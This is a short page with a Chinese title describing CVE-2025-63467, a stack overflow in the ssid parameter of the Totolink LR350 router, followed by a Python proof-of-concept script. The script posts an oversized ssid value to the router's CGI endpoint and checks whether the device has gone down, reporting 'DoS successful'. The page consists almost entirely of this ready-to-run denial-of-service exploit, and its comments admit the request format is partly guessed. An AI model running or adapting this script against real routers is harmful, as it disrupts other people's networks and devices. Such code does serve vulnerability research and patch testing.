CVE-2025-63467 Totolink LR350路由器ssid参数栈溢出漏洞导致拒绝服务

import requests # CVE-2025-63467 PoC - Totolink LR350 Stack Overflow in ssid parameter # Target: Totolink LR350 Router # Vulnerability: Stack overflow via ssid parameter in sub_425400 function # Impact: Denial of Service (DoS) TARGET_IP = "192.168.1.1" # Router IP address TARGET_PORT = 80 SSID_PAYLOAD_SIZE = 1000 # Size to trigger overflow def create_ssid_payload(size): """Generate oversized ssid payload to trigger stack overflow""" # Create a long string to overflow the stack buffer # The actual required size depends on the buffer allocation in sub_425400 return "A" * size def exploit_cve_2025_63467(): """Send malicious ssid parameter to trigger DoS""" url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin-igd/" # Construct the malicious ssid parameter ssid_payload = create_ssid_payload(SSID_PAYLOAD_SIZE) # HTTP request with oversized ssid parameter # This targets the wireless settings endpoint data = { "ssid": ssid_payload, "method": "set" # Common method for configuration changes } try: # Send the malicious request response = requests.post(url, data=data, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload size: {len(ssid_payload)} bytes") print(f"[*] Response status: {response.status_code}") # Check if target is still responsive check_url = f"http://{TARGET_IP}:{TARGET_PORT}/" check_response = requests.get(check_url, timeout=5) if check_response.status_code == 200: print("[-] Target still responsive, try increasing payload size") else: print("[+] Target appears to be down - DoS successful") except requests.exceptions.Timeout: print("[+] Target did not respond - DoS likely successful") except requests.exceptions.ConnectionError: print("[+] Connection failed - Target may be down") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": print("[*] CVE-2025-63467 PoC - Totolink LR350 Stack Overflow") print("[*] Target: ssid parameter in sub_425400 function") print("[*] Vulnerability: Stack-based buffer overflow") print("[*] Impact: Denial of Service") exploit_cve_2025_63467()